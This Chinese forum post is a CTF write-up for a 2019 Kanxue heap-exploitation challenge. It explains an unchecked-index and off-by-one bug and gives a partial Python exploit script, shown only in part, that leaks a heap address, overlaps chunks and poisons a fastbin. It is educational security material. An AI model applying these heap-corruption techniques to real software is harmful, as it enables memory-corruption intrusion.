首页
社区
课程
招聘
[原创]【2019看雪CTF】Q3赛季 第四题:卧薪尝胆 WP
发表于: 2019-9-25 22:22 5840

[原创]【2019看雪CTF】Q3赛季 第四题:卧薪尝胆 WP

xym 活跃值
4
2019-9-25 22:22
5840

到写WP的时候回顾这道题,第一反应居然是我什么时候做过这道题,第二个反应是我居然做出来了这道题(我大概是被这10多天的比赛折磨疯了)。于是我翻了翻我的电脑,确认我确实解出了这道题。


这道题漏洞很常规,在edit里不判断下标范围,也存在输入off by one。但是把malloc_hook和free_hook都进行了二次hook,很明显是不让我们用常规的解法,感觉这对我这样学ctf不久的人很不友好。

好在题目为了降低难度,在add函数里直接把heap的地址打印了出来,省了不少事情,而且也可以利用这个特性在分配libc里面的地址时把libc打出来。

因为前半部分没有注意到stdout也在edit的下标范围里,所以前面我很苦逼的用了常规的方式泄露libc

    malloc(0x108) #0
    p.recvuntil('heap 0 : ')
    heap_addr = p.recvline()
    heap_addr = int(heap_addr[:-1],16) - 0x10
    print 'heap_addr %X' % heap_addr
    malloc(0x208) #1
    malloc(0x108) #2
    malloc(0x108) #3
    edit(1, 'A' * 0x1f0 + p64(0x200) + '\n')
    free(1)
    edit(0, 'B' * 0x108)

    malloc(0xf0) #1
    malloc(0xf0) #4
    free(1)
    free(2)

    malloc(0x100) #1

    malloc(0x68)  #2
    free(2)
    edit(4, '0' * 0x8 + p64(0x71) + p64(heap_addr + 0x290) + '1' * 0x60 + p64(0x71) + p16(0x1aed + offset) + '\n')
    malloc(0x68)  # 2


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//